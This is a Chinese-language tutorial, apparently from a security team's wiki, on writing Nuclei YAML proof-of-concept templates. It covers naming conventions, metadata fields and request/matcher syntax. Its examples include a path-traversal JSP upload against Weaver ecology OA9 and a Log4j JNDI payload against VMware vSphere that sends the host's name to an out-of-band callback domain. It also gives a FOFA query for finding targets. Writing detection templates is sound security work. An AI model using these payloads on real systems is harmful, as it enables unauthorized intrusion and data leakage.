跳转至

POC三大部分

一个完整的POC是由三部分构成,名称、信息、请求分别对应着idinforequests

不要吝啬换行,为了POC的高可读性,这三部分记得用空行隔开。

1. 命名规范

id: weaver-ecology-uploadoperation-file-upload

info:
  name: 泛微OA9 uploadOperation.jsp任意文件上传
  author: FQ_Hsu
  severity: high
  description: 泛微OA9前台任意文件上传,漏洞位于/page/exportImport/uploadOperation.jsp文件中,一个multipartRequest就可以成功上传。
  reference:
    - https://github.com/YinWC/2021hvv_vul/blob/master/0408/%E6%B3%9B%E5%BE%AEOA9%E5%89%8D%E5%8F%B0%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0.md
  # fofa_query: app="泛微-协同办公OA" || app="Weaver-OA"
  tags: ecology,getshell,rce,upload

关于POC命名,也就是上图id字段,这是一个POC编写的第一部分,请遵循如下之一规范(不要存在中文,全部英文小写):

  • django-debug-page-info-leak

框架名-服务名-产品名等-通用漏洞名称

  • chanjet-tplus-sa-file-upload

产品名-漏洞存在位置-通用漏洞名称(如果是0day漏洞,注意模糊化命名)

  • wso2-cve-2022-29464-rce

产品名-cve/cnvd编号-通用漏洞类型缩写名称

注:有时候国内这些红队高关注组件、产品常常某个漏洞类型不只存在一个,所以在每个POC命名的时候名称需要独特化,以免POC名称重复。所有漏洞类型参见「附录 - 漏洞类型」。

在GreatMessage Web界面提交POC的时候,POC名称处记得和此id要一致。

consistent-naming

错误案例

这个id名存在两个问题:第一是命名存在大小写不统一;第二是id不允许使用一些特殊字符,例如“.”,这个问题直接影响程序运行失败。

id: H3C-IMC-dynamiccontent.properties.xhtm-rce

mistake-cases

2. 漏洞信息

info:
  name: 泛微OA9 uploadOperation.jsp任意文件上传
  author: FQ_Hsu
  severity: high
  description: 泛微OA9前台任意文件上传,漏洞位于/page/exportImport/uploadOperation.jsp文件中,一个multipartRequest就可以成功上传。
  reference:
    - https://github.com/YinWC/2021hvv_vul/blob/master/0408/%E6%B3%9B%E5%BE%AEOA9%E5%89%8D%E5%8F%B0%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0.md
  # fofa_query: app="泛微-协同办公OA" || app="Weaver-OA"
  tags: ecology,getshell,rce,upload
  metadata:
    vendor: weaver
    customField: customValue

也就是上面中的info及以下的所有:

  • name是漏洞标题名;
  • author是编写POC的作者ID;
  • severity为漏洞严重程度(分为四级:critical/high/medium/low);
  • description为漏洞描述;
  • reference为参考链接(支持多条);
  • tags漏洞标签(支持中文);
  • 除此之外,也可以metadata下方使用key: value的方式自定义其他需要添加的信息,或者使用#注释其他需要添加的信息。

3. 请求匹配

第三部分就是请求匹配,这也是一个POC主要关注的地方。在这一部分里主要关注三个点,分别是:请求、提取、匹配,分别对应着:requests、extractors、matchers。

请求即是发送请求;提取就是在涉及到多个请求时,例如文件上传漏洞,从第一个请求返回的body或header中提取文件的路径(支持json和正则等方式),作为一个变量参数放在下一个请求中去验证文件是否上传成功,当然在大部分只有一个请求时,这个并不会用到。匹配也就是匹配了。

3.1 基础请求与匹配

  • method:指定HTTP请求方法;
  • path:请求的URL路径,通常只需在{{BaseURL}}后面跟请求的URI;
  • body:请求body如果是GET或HEAD等请求,则不需要body,直接删除整行;
  • headers:下方可以添加一些HTTP头,不需要则可以都删掉;
  • redirects:重定向,一般建议为false;
  • matchers-condition:matchers条件,and或者or;
  • matchers:对请求的响应进行不同类型的灵活比较;

  • type:共支持6种不同形式,分别为:status、size、word、regex、binary、dsl。

更多关于matchers的介绍,可以参考官方文档:https://nuclei.projectdiscovery.io/templating-guide/operators/matchers/,有不懂的写法可以钉钉本人F9 Hѕυ。

通过下面这个yaml POC来快速了解学习使用基础的方式发送一个POST请求。

requests:
  - method: POST
    path:
      - "{{BaseURL}}/login"

    body: "user=admin&password=P@SSW0RD"

    headers:
      Content-Type: application/x-www-form-urlencoded
    redirects: false

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "login success"
        part: body

通过判断状态码是否为200以及页面中是否存在login successmatchers-condition: and意味着如果这两个条件同时成立则意味着漏洞存在,运行结果如下。

nuclei -t exampleapp-default-login.yaml -u http://example.com

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   2.5.0

                projectdiscovery.io

[INF] Using Nuclei Engine 2.5.0 (latest)
[INF] Using Nuclei Templates 8.1.2 (latest)
[INF] Templates added in last update: 50
[INF] Templates loaded for scan: 1
[2021-09-15 10:28:23] [exampleapp-default-login] [http] [medium] http://example.com/

3.2 RAW请求&&DSL匹配

RAW的方式(注意缩进),方便在于可以直接从BurpSuite中将原始请求复制过来(注意Host头为{{Hostname}})。此处安利一款名为nuclei-burp-plugin的插件辅助我们极速地从BurpSuite的原始HTTP包转化成yaml POC。这个POC为确保随机性编写原则还使用了三个{{randstr}}变量(后面会详细解释),另外matchers使用到了DSL高级语法,通过语句大致可以看出来,第一条是在判断状态码是否等于200,第二条判断第二个请求的响应body部分是否存在预期的随机化字符串,如果两条同时成立则此漏洞存在。

req-condition: true:自动为请求分配编号并保存它们的历史记录。一般在要发送多个请求的POC中会用到,如下使用的body_2。

requests:
  - raw:
      - |
        POST /index.jsp HTTP/1.1
        Host: {{Hostname}}
        Content-Length: 371
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytiDg1aubSTniDLrs
        Cookie: ecology_JSessionid=aaaJ8sC_hiKtm6Ms1-8Yx
        Accept-Language: zh-CN,zh;q=0.9

        ------WebKitFormBoundarytiDg1aubSTniDLrs
        Content-Disposition: form-data; name="upload"; filename="../../{{randstr_1}}.jsp"
        Content-Type: application/octet-stream

        <%
        out.println("{{randstr_2}}" + "{{randstr_3}}");
        new java.io.File(application.getRealPath(request.getServletPath())).delete();
        %>
        ------WebKitFormBoundarytiDg1aubSTniDLrs--

      - |
        GET /{{randstr_1}}.jsp HTTP/1.1
        Host: {{Hostname}}

    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body_2, "{{randstr_2}}{{randstr_3}}")'
        condition: and

3.3 带外检测匹配

  • {{interactsh-url}}

这是一个内置变量,当遇到利用需要带外检测的漏洞时,通常需要使用到这个变量。例如VMware某虚拟化产品存在log4j jndi注入漏洞。

requests:
  - raw:
      - |
        GET /websso/SAML2/SSO/vsphere.local?SAMLRequest= HTTP/1.1
        Host: {{Hostname}}
        X-Forwarded-For: ${jndi:dns://${env:hostName}.{{interactsh-url}}}
        Upgrade-Insecure-Requests: 1

    matchers-condition: or
    matchers:
      - type: word
        part: interactsh_protocol
        name: http
        words:
          - "http"

      - type: word
        part: interactsh_protocol
        name: dns
        words:
          - "dns"

更多用法请参阅nuclei官方文档:https://nuclei.projectdiscovery.io/templating-guide/protocols/http

关于请求匹配的严谨性会在下面段落作详细说明。

回到页面顶部